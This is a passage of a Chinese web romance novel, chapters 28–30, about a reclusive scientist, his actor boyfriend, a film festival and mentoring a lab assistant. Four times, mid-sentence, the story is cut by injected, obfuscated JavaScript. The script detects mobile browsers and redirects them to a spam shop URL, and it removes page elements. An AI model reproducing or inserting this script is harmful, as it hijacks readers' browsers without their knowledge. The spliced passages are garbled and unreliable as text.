褚月恒在北地这二十来年一直被孤独感困扰,他告诉自己这是因为他是神女的信徒,和那些凡人不一样。但在内心最深处他还是会觉得,人们不喜欢他,是因为他是孤僻的怪人,他注定不被人群接纳。 可来岳阳湖区这短短半个月,他与公山易禾的友谊加深了,李清木和梵七叶也接纳了他。他在面对这些人的时候没有那种无法融入的违和感,甚至在和他们交谈时,能获取到新的知识和观点。 褚月恒在与人相处方面实在是既生涩又迟钝,他自己不太能意识到岳阳湖区带给他的变化,还在一门心思的追求戚清棠,可033注意到了褚月恒身上发生的小变化。 他看到什么有趣的东西会主动给公山易禾发消息分享,会主动和李清木请教问题,梵七叶在实验室里乱开玩笑的时候,他偶尔也会回应几句,不再像从前那样不愿意多说一句废话。 033告诉褚月恒,公山易禾是他的闺蜜,李清木是他的老师,梵七叶是他的徒弟。褚月恒一板一眼的纠正:“公山易禾是我的朋友,李清木是我的上司,梵七叶是我的助理。” 033笑道:“好吧好吧,你的助理又发消息请教学术问题了。” 褚月恒立刻打开手机,满脸认真的开始回复。 戚清棠看到他俩那密密麻麻的聊天界面,更酸了:“你们有这么多共同话题吗?” 褚月恒把手机递给戚清棠:“都是工作上的问题。” 戚清棠查了查,发现褚月恒没撒谎:“你回复她的时候很有耐心,不像对你的同事们那样。” 褚月恒真心实意的疑惑着:“怎么会?我的同事们愚蠢的令人心碎,给他们解释一个理论花费的时间是给七叶解释的十倍不止。” “七叶,叫的好亲密。”戚清棠黯然的垂下眼睛,“你是不是嫌我笨?” 褚月恒一见他这个表情,就知道事情要糟:“我叫她七叶是因为大家都这么叫,你哥哥和李院长也叫她七叶,不过我以后可以称呼她为梵小姐。还有,我从没觉得你笨。” 戚清棠心里还是难受,听着褚月恒用他独特的声线轻柔的说‘梵小姐’,他只觉得这个称呼更暧昧:“叫小梵不可以吗?” 褚月恒愣了一下,觉得这个称呼有点随意,不符合他一贯的说话习惯。然后他立刻意识到,他之前从未注意过自己的说话习惯。他对自己并不熟悉,也没兴趣了解自己。 如今细细回忆,他才发现他比较喜欢书面化的语言,太过口语化的表达方式会让他感到不适应,比如‘小梵’,就听上不够正式。如果人人都用这么随意的方式讲话会造成很多麻烦,比如将剑尾目海洋生物称作海星,就会将该生物与那个五角星形的海星弄混。对于褚月恒这种连一个标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271807|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点符号都要挑剔的人来说,这种称呼方式实在是太过‘敷衍’。 不过褚月恒立刻点头答应:“可以,以后我就叫她小……梵。” “我不是毕业于泊大的学术天才,比不得你的梵小姐。”戚清棠委屈的说。 褚月恒用自己的求生欲紧急思考了一下,把戚清棠浑身上下的有点都搜刮了一遍,然后回答:“别这么说,你是电影行业的天才,你是注定成为世界巨星的人。” 这话深深的取悦了戚清棠,他甜蜜的笑了:“你真的这么想?” 褚月恒调动自己所有的演技,真诚的点点头。 戚清棠轻轻点了一下褚月恒的鼻子,然后扑进他怀里,准备吻他。 就在这时,褚月恒的手机又响了,褚月恒把手机扔到沙发另一头,然后朝戚清棠笑了笑:“我们继续。” 戚清棠轻轻推开褚月恒:“没事儿,你看吧,我不介意。” 褚月恒失落的松开戚清棠,自从复合后,他还没亲到过戚清棠一次,好不容易有一次来之不易的机会,却被打断了。 褚月恒打开通讯消息,看见公山易禾给他发了一个电子请柬,这是岳阳湖电影节的贵宾卡,有了这张卡,他就不用挤在记者和影迷之间等待颁奖结束了,他可以去宴会厅的贵宾区观礼,观礼结束后还可以参加明星和其他社会名流的宴会。 “是我哥的消息?”戚清棠凑过来,“他今天有个特别重要的会议,本想推掉会议来陪我的,但我和他说不用他来,我有你陪就够了。” “谢谢你的信任。”褚月恒搂住戚清棠,企图继续刚才那个没开始的吻。 就在这时,造型师着急忙慌的拎着一箱子工具跑进来:“头发护理结束了,该开始做发型了。” 褚月恒不耐烦的叹了口气,乖乖坐到了一边。 电影节现场星光熠熠,褚月恒站在一群记者里,面无表情的看着戚清棠走红毯。突然,他身旁的记者举起相机朝着他拍了一下。 褚月恒皱起眉头:“你干嘛?” 记者理直气壮:“我是娱乐记者,拍摄祝融的私生子是我的职责。” “我不是祝融的私生子,”褚月恒感觉莫名其妙,“删掉照片。” “不删,你们长得那么像,你肯定是祝融的私生子。”记者撇撇嘴,干脆利落的拒绝。 褚月恒深吸了一口气,打电话给梵七叶。 梵七叶这边正焦头烂额的做实验,不靠谱老板不帮忙就算了,还要让她帮着应付狗仔,梵七叶烦躁的用手指敲打着试验台,反复提醒自己老板是亲老板,项目是好项目,要忍住:“把电话给那个人。” 记者接过电话,就听一个年轻女人朝他低声道:“删掉那张该死的照片,不然我就吊销你的执照!” 记者委屈道:“但是……” “没有但是!有什么话去找岳阳湖区纪委协会解释吧!” 一句话点明褚月恒的背景,记者吓得满身冷汗:“对不起,我错了。” 褚月恒震惊,他以为岳阳湖区只是搞科研的机构,想不到这个组织在娱乐圈也这么权势滔天的。 28. 画舫 盛典现场,盛装打扮的演员们排成两排站在舞台上,摄影师企图给他们拍一张合影。 一位容色艳丽的男演员带着灿烂的微笑走到戚清棠面前:“还记得我吗?咱们在冰海寻踪的试镜现场见过,后来我落选了,不过我选上了另一部电影,入围今年最佳影片的《探寻深空》,您听说过吗?” 戚清棠扯出一抹假笑:“当然听说过,那可是安琳导演的力作,恭喜你呀。” 那位男演员笑的越发艳丽,在摄像机下镇定自若的盯着戚清棠:“安琳导演对演员的要求严格,从不接受资本的摆布,我训练了两个月才达到她的要求。这个圈子向来是一分努力一分收获,我最终和您站在了同一个领奖台上。不过我不像您能这样镇定自若,我小时候可没有跟着父亲一起上台领奖过。” 戚清棠脸上的笑容都要维持不住了:“是么,能靠自己的努力走到今天,那你很棒了,。” “也不全是靠自己,要是没有则锋哥帮我引荐安琳导演,我再有能力,也不会被看到。”男演员言笑晏晏,一边说话一边看向台下的贵宾席,蒋则锋穿一身耀眼的西装,正坐在贵宾区玩手机,在一众权贵里,他那张比明星还帅的脸脱颖而出,拿捏这样一位男人,的确令人感到骄傲。 就在男演员暗暗得意时,贵宾席后面的门被礼仪先生推开,一位容貌耀眼、气质瞩目的男人走了进来,那人穿着一身休闲服,随意扫了眼贵宾区,然后在离他最近的那个角落坐下了。看他这随意的态度,似乎以他的身份地位,不必把一场小小的电影节放在眼里。 戚清棠看见褚月恒进来陪他了,顿时眼睛一亮,褚月恒朝他招了招手,然后微笑了一下,那疏离的笑有种别样的风情。褚月恒的气质高冷但不花哨,一看就和蒋则锋那种水性杨花的男人不一样。 目睹一切的男演员嫉妒的要把牙齿咬碎,凭什么戚清棠能得到一切?放弃了蒋则锋,又能立刻找到更耀眼的男人? “哟,这是你的新对象?”男演员笑的有些咬牙切齿,声音也越发大了起来。 戚清棠见周围人都看过来,不禁有些着急:“你小声点,不然我把你和则锋哥的私情也大声喊出来。” “你喊啊,看看你则锋哥会不会生你气,他家那个疯婆娘会不会找你麻烦。”男演员是光脚不怕穿鞋的,他没有戚清棠那种亲爹给经营的好名声,他巴不得把他和蒋则锋的奸情暴露给公众,好趁机火一把。 戚清棠委屈的咬着嘴唇,气的眼前阵阵发黑,却不知道该怎么反抗。 一阵清冷的柚子叶清香袭来,魏明锦踩着高跟鞋居高临下的看着那位男演员,开口就是绝杀:“哟,稀奇了,靠给姓蒋的做鸭还真能拿电影奖唉。” 对方的脸色青一阵白一阵,对着魏明锦又不敢发作,只能万分艰难的挤出一抹狰狞的微笑,然后转身离开了。 魏明锦转过身来,恨铁不成钢的说:“戚清棠,你怎么这么窝囊,让一个野鸭子骑在头上,你可是公山佑的孩子!你太给你妈丢人了!” 戚清棠的脸色更加苍白了,魏明锦的指责让他想起他父亲对他的指责,没错,他是公山家的耻辱,身体虚弱,读书读不明白,不能给母亲争光,还糟父亲嫌弃!这些所谓的亲人只会指责他、贬低他,根本不怜惜他的难处,也看不到他的优点。 他善良、温柔,他对他们那么好,可他得到了什么?他父亲、母亲,还有褚月恒,都辜负了他的付出! 褚月恒正老老实实的在台下坐着,033突然飘到他耳边恶魔低语:“你摊上事儿啦。” 褚月恒疑惑,褚月恒震惊:“为什么?” “戚清棠生你气了,而且是震怒级别那种生气。”033同情的说。 褚月恒非常疑惑,褚月恒非常震惊。 虽然他一向不讨人喜欢,也经常被人莫名其妙的讨厌,但他只是在距离戚清棠十几米远的地方坐了一会儿就被讨厌了,还是有些离谱吧? 十几米远,戚清棠只能看到他的外貌,他的外貌应该是他浑身上下最讨人喜欢的地方了吧? 事实证明,033说得对。 电影节结束后,戚清棠自顾自的坐着保姆车走了,都没和褚月恒打个招呼。 褚月恒不知道他们演员几点离开,还在和岳阳手机的创始人聊天,这个老头儿穿着一身休闲服,正散着步,看见这儿有热闹就顺脚来围观一下,正好看见褚月恒和他打扮的差不多,就自来熟的往褚月恒身边一坐,开始喋喋不休的讲电影行业要完,并说未来十年,绝对不能花一分钱投资电影。 坐在前排的投资商听到这话后立刻回头对老头儿怒目而视,可看清老头的脸后,他们又卑微的挤出一个笑脸,舔着脸围了过来,七嘴八舌的问老头儿电影行业为什么要完。 褚月恒被吵的脑袋嗡嗡直响,就在他烦躁的时候,033提醒道:“戚清棠走啦,没带你。” 褚月恒:“……”这一天过得实在是太糟心了,他好想找个棺材躺进去再也不出来。 褚月恒被自己突然冒出来的想法吓了一跳,奢华的水晶吊灯散发着柔和的光晕,褚月恒抬头环视整个宴会场,突然觉得这一切像是假的,而他需要逃离这里。 033连忙跳到他肩膀上,柔声安抚:“你只是心理压力太大,回宿舍睡一觉就好了。” “我今天什么都没做,为什么会心理压力大?”褚月恒不相信,他曾经面对过更艰难的处境,他都能顺利解决,今天发生的一切与他身无分文跑到定北城念书相比,算不得什么。 033耐心的说:“你失去了科研信仰,情绪持续处于低迷中。唯一的安慰剂戚清棠对你若即若离,甚至在你什么都没做的情况下抛弃了你,这一行为歪打正着的加深了你的童年阴影,那就是你什么都没做,却被惩罚。并且……记者提到了你母亲,我想这对你的影响比你表现出来的要大得多。” 褚月恒深吸了一口气,想了想,不知道该怎么反驳,只能冷着脸说:“你这是在滥用读心术,黄牌警告。” “我不会读心术。”033平静的说,“我是在通过清晰的描绘你的烦恼,来缓解你的情绪。” 褚月恒想反驳033,但他听不见自己头脑的声音,也听不见内心的声音,这一刻,他感觉自己变成了无尽冰海的一部分。 突然,一种回到冰海边的冲动笼罩了他。 他想回到小木屋,回到童年,回到熟悉的痛苦环境里,这样他就可以像从前那样,虔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271808|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚的期待着被冰海拯救,将神女当作自己的母亲。 不像现在,他不知道自己是谁,不知道自己下一步要干什么,并且被陌生的恐惧笼罩。 “月恒,你的名字是你母亲给你取的。”033飘到褚月恒耳边柔声说,“村里的巫医说你是个女孩儿,于是她给你取名月恒,上古时代,人们称呼月亮女神为恒我。你注定像月亮一样,高悬于天,永远忠于你自己。” “我不觉得‘恒我’这个典故是这个意思,”褚月恒挑刺的欲望再次苏醒,把他从宕机中重启了出来,“上古先民崇拜月神,应当是崇拜永生,而不是崇尚‘忠于自我’这个现代化的概念。” 033好脾气的说:“好吧,你说得对。” “我们可以去图书馆查证。”褚月恒干劲儿十足的站起来,直奔图书馆。他身后,休闲服老头儿还在给投资商们上公开课,见他不打声招呼就走,还招呼道,“小伙子,不一起吃个饭啊?” 褚月恒嫌他聒噪,没有回应。 “小伙子真没礼貌。”老头儿委屈的扭头,看到投资商们满是褶子的笑脸,顿时烦躁道,“笑什么笑,他也没和你们告别啊!” 电影节现场距离泊岳图书馆有十多公里远,褚月恒冷着脸沿着大马路走,没想起来自己可以叫个车什么的。 一路走过古老街巷、高大的香樟树、明丽的高楼大厦,褚月恒深刻的意识到自己不属于这里,不是不属于泊岳,而是不属于这个世界,他和整个世界格格不入,时常被惊吓,或被恶心。 戚清棠打开他大脑中产生情感的区域后,他一直在体验负面情感,并花费大量精力忍受它们。可悲的是,他无力再关上这个区域。他回不去从前,也看不到未来,他被困在了隐形的牢笼里,绝望地四面碰壁。 风吹起花香,岳阳湖的银鸥大大咧咧的从褚月恒的头顶飞过。 褚月恒莫名其妙的想起了公山易禾,他们被困在荒岛时,公山易禾跟他说现在是银鸥出没的日子,说想要带他好好逛一逛泊岳城。 褚月恒犹豫着拿出了手机,纠结良久后,打开聊天框,颇为生疏的组织着语言:“公山教授,七月十八号,在荒岛上,您说要带我逛泊岳城。我现在正在岳阳湖边看银鸥,并思考您什么时候有时间兑现承诺。” 消息发出去后褚月恒立刻后悔了,正要撤回,就见对面回复:“等我十分钟,立刻飞到你身边兑现承诺。” 还跟着几个狗狗狂奔的表情包…… 褚月恒严肃的研究着那几个狂奔狗子的表情包,思考这到底是真的狗子还是AI制作的,还没思考一会儿,低沉柔和的声音就在他耳边响起:“不如我们就从岳阳湖玩起,走吧,去湖上泛舟喝茶!” 就像被从一个虚假的世界被拉入真实世界,被公山易禾拽着手腕往码头跑的时候,褚月恒终于感觉到了阳光正平等的照耀在这世界上的每个人身上,而气温三十五度的泊岳,阳光更是热情的可怕,他快被烤化了。 褚月恒伸手遮挡着过于热情的太阳:“船上只有茶吗?我有点饿。” “别担心,有饭的!”公山易禾伸手招呼码头的工作人员,并嘚瑟的跟褚月恒说,“我在这儿有条画舫,上面什么都有,放心吧。” 29. 四面碰壁 褚月恒专注的听公山易禾讲今天的机器学期会议都讨论了什么,谁的工作成果特别亮眼,谁一个人吃掉了半盘子茶点,谁像个花蝴蝶一样满口胡言的四处社交。 听着听着,褚月恒就看见公山易禾的脸莫名其妙的红了起来,声音也越来越飘忽。 褚月恒关心的问:“您不舒服吗?” 公山易禾尴尬的咳嗽一声:“可能是有点渴吧。” 褚月恒连忙给公山易禾倒茶,桌子旁的花瓶里,一片花瓣刚刚好飘进了褚月恒刚倒好的茶里,褚月恒没当一回事儿,打算再换一杯,丝毫没注意到公山易禾正直勾勾的盯着他看,和他那些狗子表情包一样,都是眼巴巴又热情的样子。 “对了,你们今天去参加电影节,感觉怎么样?”公山易禾喝了口茶,觉得褚月恒递给他茶杯的手都沾染了蝴蝶兰的香气,但是他用理智约束住了自己的心猿意马,并找了和他弟弟相关的话题来警醒自己。 “挺有意思的,有个记者说我是祝融的私生子。”褚月恒闲聊似的说道。 公山易禾的表情严肃了起来:“其实,我也有这个怀疑,所以我悄悄调查了一下,希望你不要介意。” “调查什么?亲子鉴定?”褚月恒纳闷的问。 “那倒没有,我查了查祝融的近况,她定居浮海城,不常来泊岳。她结过两次婚,与第一任丈夫有个女儿,现在那个女孩儿也有二十二岁了。”公山易禾看向褚月恒,认真的问,“你希望她过得好还是不好?” 这个问题还挺神奇的,褚月恒不太理解:“我希望这个干什么?” “好吧,”公山易禾被褚月恒逗笑了,“资料显示她是纯正的北宁族人,又和你长得那么像,我觉得她是你母亲这事儿,八九不离十……我只是想知道,你得知她的存在,是开心还是不开心?” 褚月恒平静的说:“我一直清楚她在世界的某个地方生活着,现在只是进一步知道在什么地方怎样生活着,对我来说,好像也没什么变化。” “那你想见她吗?或者,想让她知道你过得怎么样吗?”公山易禾柔声问。 褚月恒沉默了一会儿,不想承认自己想,所以他说:“缘分到了自然会见面吧,一切交给冰海神女来安排。” 公山易禾懂了,这是让他立刻安排的意思。并且决不能让祝融那边认为是褚月恒主动想见她的,最好是她上赶着主动来见褚月恒,如果她没有想上赶着来的意思,那就不用让她来了。 公山易禾自己都惊讶自己能从褚月恒的一句话里领悟到这么多意思,希望他领悟的是对的,不要好心办坏事。 正在整理自己一天的拍摄成果的某位狗仔突然收到不明人物发过来的消息,要求他把今天刚拍的照片全部发网上,不能藏私任何一张,并许以重金。 狗仔立刻把自己的所有照片都发给金主看:“您看这些够吗?” 那边回应:“那位和祝融很像的先生的照片呢?” 狗仔委屈兮兮的回答:“先生,我如果发了他的照片,会被岳阳湖纪委协会吊销执照的。” 那边回应:“如果你不发,我就吊销你的执照。” 狗仔:“……”万恶的资本家果然最擅长两头堵。 夜幕降临,岳阳湖上歌舞升平,褚月恒和公山易禾坐在船舱外的甲板上看湖心舞台上的演员唱歌跳舞,还有扮演月亮女神的工作人员吊着威亚满天飞。厨师端上来最后一道甜品,然后宣布下班。 褚月恒用叉子戳了戳这比蜗牛还小一圈的神奇甜品,厨师说这道甜品的灵感来自冰川,其实就是冰块夹着生鳕鱼片,再配上奇奇怪怪的酱。 褚月恒看向公山易禾:“你晚上经常来湖上玩吗?还专门养了个画舫在这里。” “买画舫的最初目的是应酬,”公山易禾笑了笑,“以前我经常接待世界各地的客户,就在这里招待他们,让厨师做点泊岳菜,再做点他们喜欢的家乡菜,看看表演,他们都挺满意的。后来我不招待客户了,就周末自己来这儿度假,发现还真是挺舒服的,也就不舍得卖出去了。” “接待世界各地的客户是为了建立您那个世界生物基因库吗?”褚月恒听说过这件轰动世界的大事。 公山易禾点点头,叹了口气:“最终也没能成功, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不过想来想去,还是觉得现在相遇才是命运最好的安排,他走过了低谷,用最好的状态遇到褚月恒,然后再回想那些令自己后悔的事情,感受到前所未有的释然。 对于公山易禾心里的想法,褚月恒一无所知,他只是很客观的回答:“去异国冒险,那得提前六年相遇才有可能,我的护照已经被没收六年了。” 30. 老师 电影节结束后,各种热闹的八卦满天飞,比如电影节现场出现的惊艳路人,比如戚砚琛的儿子在电影节当晚和蒋家二少在宴会厅后花园私会,更劲爆的是,蒋家二少还同时和艳丽的娱乐圈新生代小生有一腿。 男上加男三角恋很刺激,但人民群众对蒋则锋的风流史已经有点腻味了,他最巅峰的战绩是一边谈着影后一边出轨歌王,比起那次,这次的三角恋对象咖位有点小。 唯一能引起路人注意的就是戚砚琛三个字,但点进去一看,原来只是戚砚琛的儿子,大家瞬间又失去了兴趣。 因此,大家的目光都集中在了那个奇奇怪怪的路人身上,这家伙不知道到底是明星还是投资商,就这么穿一身休闲服大大咧咧的溜达进了会场,还和岳阳手机的创始人凑在一块聊了许久,聊完后又随随便便的离开了会场,就像只是来看个热闹,发现没什么热闹可看,就冷着脸走人了。 有人猜测他是某位星二代,这次来是蹭着父母的关系进来的,不过这个猜想立刻被否认了,星二代不会打扮的这么随意。 又有人猜测他和蒋则锋一样是官二代,这个猜想要靠谱得多,大家都开始揣摩他到底是谁家的私生子。 至于为什么不是家生子,那是因为没听说哪个大人物娶了北宁族老婆,看褚月恒的肤色,明显是北宁和中原的混血么。 谁也想不到,纯血北宁族人也可以长出黑色头发和黑色眼睛,哪怕是开放的中原人也想不到。 很快,第二个猜想就被打脸了,年纪大一些的网友在第二天起床后终于开始发言了,他们说褚月恒一定是超模祝融的私生子。 昨晚熬夜冲浪的年轻人们懵了,什么祝融?火神祝融? 大家七手八脚的搜索祝融,立刻被来自冰原的凌冽美貌煞住了,于是‘超模祝融’这个词条又被顶上热搜,一群人嚷嚷说他们爸妈那一代吃的可真好,这种级别的大美女居然都没挤进超模排行前十。 老一辈们立刻解释说,祝融没挤进超模排行前十是因为她在最火的时候选择了去泊大念书,念完书后就再也没走过秀了,她这个工作态度,肯定比不过那些走了大半辈子台步的模特。 娱乐圈的腥风血雨褚月恒一概不知,他正在片场看戚清棠拍戏。他今天一大早就带着‘真的是他亲手做的’的早饭赶过来给戚清棠道歉,也不知道是因为早饭太难吃还是别的什么,戚清棠一直没原谅他。 严格来说,褚月恒并不知道自己到底做错了什么,他只知道戚清棠突然又想起了自己在冰原时受的委屈,所以看他非常不顺眼。 这次的戚清棠异常难哄,褚月恒设计了好几版台词都没能把他糊弄住。 褚月恒无措的问033:“他到底为什么生气?” 033想了想,还是决定帮褚月恒一把,既然这俩人一时半会儿分不了手,那还是少吵架为妙,吵架影响褚月恒工作:“严格来说,这件事和你没关系,是他的童年创伤在作祟,不过你也不是完全无辜的。” 033把昨天发生的事情讲了一遍,然后总结道:“他喜欢你也许掺杂着一点恋母情节。” 褚月恒震惊的看向033,不懂为什么它要把他们的感情说的这么变态:“你的意思是,他把我当成公山女士?” “你不信?那我们做个试验吧,你喷上公山佑的同款香水,用你曾经在极地时的态度对他,然后在他快要哭的时候突然露出心疼的表情,然后扮演一个经典的好母亲角色,看看他会是什么反应?” 做试验当然要严谨,于是褚月恒问:“寒英小姐,他做出什么反应能印证你的观点呢?” 033得意的说:“你可以对他做你一直想做的事情,他不会反抗。” 褚月恒愣了一下,然后意识到这样做好像不太好,这是他第一次意识到自己是有道德底线的。倒不是说他以前有多百无禁忌,只是说他以前只考虑能否达成目标,对用什么手段达成目标并不在意。 这些天,新的生活和新的朋友对他产生某种潜移默化的改变,他开始朦胧的意识到,在感情方面,仅仅是让戚清棠心甘情愿的为他脱掉衣服是不够的。 不过,出于好奇心,褚月恒还是买了公山佑同款香水,然后在033的指导下喷在了自己的手腕和锁骨位置。 买完香水后,033建议褚月恒不要立刻回到戚清棠身边,按照公山佑的习惯,每次戚清棠不听话,她都会先晾戚清棠三天。 褚月恒感觉寒英小姐好像越来越不靠谱了,甚至变得有点坏坏的,但是不知道为什么,他还是配合了,他绝不承认自己这么做是为了逃避和戚清棠相处。 在他的幼年期,族人们也是这样,抓住一点捕风捉影的错误指责他,把他钉在耻辱柱上,他父亲配合族人们一起把他按在道德的下位,告诉所有人他活该受罚,他没饭吃、没学上,被关在阁楼里与书籍为伴,那时候他不曾向任何人道歉。 也许是因为他知道道歉也没用,也许是因为他不想和他们变成一样的人,不管是出于哪种原因,他都不后悔自己的选择。阁楼里读完那架子书是他童年里发生过的最幸运的事,人不是什么时候都要服软的,只有不配合自己不认可的人,才能去到真正适合自己的地方。 可现在,他却需要一遍遍向戚清棠道歉,努力理解戚清棠的想法,调整自己的性格去满足他。 戚清棠是他的安慰剂,是他的感情香烟,他离不开戚清棠,可每次相处都伴随着伤害和悔恨。 心情沉重的褚月恒回到实验室,梵七叶的头发掉的满地都是,她顶着个大黑眼圈子在电脑前敲敲打打,看上去像是熬了三个大夜。 褚月恒被梵七叶这副尊荣吓得差点忘记自己失败的感情生活:“我记得按照我给你安排的工作计划,你晚上六七八点就能下班吧。” 梵七叶双眼发直的看向褚月恒:“对不起老板,我在给您做项目的时候产生了一点灵感,打算在我毕业论文的基础上做一个新的研究,我保证不耽误您安排的工作,不过我可能需要借用一下您的实验室……和您的材料……您不介意吧?” 褚月恒不知怎么的,居然产生了一种欣慰的感觉,这是他第一次有这种情绪体验,他感觉怪怪的:“有灵感是好事,我可以看看吗?” “当然。”梵七叶把自己写的大概思路发给褚月恒,褚月恒浏览了一遍,那种奇怪的‘老怀大慰’的感觉越发鲜明。 这个创新点融合了他这些天对梵七叶的教导,将梵七叶的毕业论文解决的问题进一步发扬光大,具有实用性和创新性,是很了不起的想法。 最重要的是,褚月恒从梵七叶的科研规划里看到了野心。 她的毕业论文不是为了应付毕业随便选的题目,这是一条通向她的北极星的通天大道,而她显然也一直没放弃往前走,在帮他做项目的时候也不忘把学到的东西和自己的方向结合。 “你把这个写成论文,说不定能拿年度优秀论文。”褚月恒沉吟了一会儿,然后说,“这样吧,你辅助我做项目,我辅助你写论文,我不用署名。” 在梵七叶的这个研究方向,褚月恒工作的这些年积累了不少相关的实战经验,能帮上不少忙,而他这个项目又刚好能帮助梵七叶弥补她由于年轻而导致的知识面不足的问题。 这样安排,梵七叶不用为了完成论文天天熬夜,褚月恒也依旧可以把项目里必须白天做的活儿扔给梵七叶,自己去谈恋爱。只是晚上回来后,他不光要完成自己的工作,还要给梵七叶写论文指导。 梵七叶不是不知好歹的人,她没想到褚月恒这人看着冷冰冰的,人品居然这么好,不光愿意让她用实验室,还提出要无偿指导她的论文。纵观岳阳湖区上下五百年,就没出过这么好的老板。 “这……”梵七叶有些不好意思了,“我怎么好意思占这个便宜,有什么我能为您做的吗?” 褚月恒不认为自己在做好人好事,在他的价值观里,这就是正确的事,他对梵七叶的态度不太理解。 “有天赋的科学家要完成自己的科研理想是天经地义的,任何人、任何事都不应该成为阻碍,你既然有自己的任务要完成,我就不该用我的项目浪费你的时间,现在我们能想出一个对彼此都好的办法解决这件事,不是皆大欢喜?” 什么岳阳湖区的助理本就该辅佐他们的老板,什么刚毕业的学生什么都没做不配拥有一个实验室的资源,这些规矩在褚月恒知道,但并不在意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271810|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他和这个世界的链接很弱,对世界上的各种条条框框的规则不敏感。 在他的观念里,没有什么比一个人实现自己的使命重要,用他们的泊岳人的话来说,就是寻找北极星,既然梵七叶已经找到了她的北极星,那任何人、任何事都不该阻挡她。 梵七叶被褚月恒这理所当然的态度搞得有些不知所措,她犹豫了一会儿,突然笑了:“好吧,我的前辈们都说岳阳湖区怪人多,但是他们加起来都没您怪。” 褚月恒经常被评价为怪异,他对此不置可否。 但刚刚还在骂他奇怪的梵七叶却突然笑眯眯的凑过来说:“老师,那以后就请您多指教啦。” 这不对啊,褚月恒震惊,这事情,怎么是这样发展的呢? 褚月恒冷着脸说:“我不是你的老师。” “为什么,难不成您嫌我笨?”梵七叶瞪大眼睛,从小到大还没哪个老师嫌弃过她笨! “你很聪明。”褚月恒实事求是的说。 梵七叶放心的舒了口气:“那您就是我的老师。您教导我,给我资源,您不是我的老师是什么?” 褚月恒沉默了一会儿,然后试探着说:“老板?” “老板是要扒我的皮吸我的血的,”梵七叶悄咪咪看了褚月恒一眼,然后小声说,“就像您前几天那样,把活儿都扔给我,还时不时一个电话过来打扰我干活儿。” 褚月恒理所当然的点点头:“所以我是你的老板。” “做我的老板可得不到我这个乖乖学生的孝顺,您可别后悔。”梵七叶笑嘻嘻的威胁道,然后把自己的背包收拾好,往肩上一挂,“我回家睡觉了,您也早点休息。” 褚月恒没当一回事儿,随意点点头算作回应。 然后就见刚跑出门的梵七叶突然从门口探出头来:“老师再见。” 然后还没等褚月恒回话就‘哒哒哒’跑了。 褚月恒站在原地愣了一会儿,突然感受到了一阵压力,他现在是别人的导师了,要是给人带到沟里去了该怎么办? 他自己处于无心科研的状态,可梵七叶不一样。 想着想着,心理状态堪忧的褚月恒就抓狂了起来,他冷着脸站在那儿默默抓狂了一会儿,然后打电话给杨铎,让他立刻想办法把自己留在单位实验室电脑里的几个文件发过来,他需要把和梵七叶论文相关的实验数据全部过目一遍。 杨铎被这个要求弄懵了:“可是咱们内部的记录不好往外传吧。” “你帮我跟领导商量一下,就说是项目需要。” 杨铎看了眼黑黢黢的领导办公室:“但是领导已经下班了呀。” “我叫他去一趟办公室。”褚月恒挂掉电话,又打给他的冤种领导…… 剧组这边,戚清棠刚结束一天的拍摄,剧组的拍摄强度对他的身体来说太过勉强,他浑身疲惫的回到保姆车,却发现褚月恒还没回来。 在他拍摄期间,褚月恒并不会一直干等着,也会去给他买点水果,或者处理一些工作上的事儿,但是褚月恒从没消失这么久过。 戚清棠慌乱了起来,都忘了自己还在生褚月恒的气了。 就在这时,他助理说:“棠哥,戚总说他已经把您和蒋少的热搜撤掉了,并说让您少和个纨绔子弟瞎混。” “什么热搜?”戚清棠想起来自己昨天晚上伤心的离开电影节会场,刚好撞到了蒋则锋,他心里难受,就在后花园和蒋则锋聊了两句,难道就是那时候被记者拍了?月恒是因为这件事才离开的吗? 戚清棠心急如焚的给褚月恒打电话。 褚月恒正沉浸在自己是个不称职的导师的焦虑中,哪里顾得上安慰他:“热搜?什么热搜?” “你是不是生我的气了?”戚清棠哽咽着说。 褚月恒这才意识到问题的严重性,他认真的问:“你怎么了?我没有看热搜的习惯,可以给我解释一下吗?” 033在旁边悄悄说:“记得要学公山佑说话,想想咱们今天刚看的公山佑的演讲,她是怎么说话的?” 褚月恒瞪了033一眼,这时候提这种建议是嫌他被甩的不够惨,还要他再被甩一次吗? 033心虚的飘到一边。 31. 北极星闪光 